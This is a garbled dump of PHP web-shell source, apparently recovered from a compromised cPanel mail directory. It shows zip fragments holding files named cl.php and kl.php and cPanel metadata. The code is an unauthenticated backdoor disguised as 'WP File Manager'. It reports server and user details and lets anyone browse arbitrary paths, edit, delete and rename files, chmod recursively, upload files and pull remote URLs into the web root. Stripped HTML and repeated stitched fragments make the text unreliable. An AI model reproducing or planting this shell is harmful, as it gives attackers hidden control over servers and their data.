← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]ª�(8BBsend@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. [addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK PK“&{]„N9³§Ë§Ësend@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ësend@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
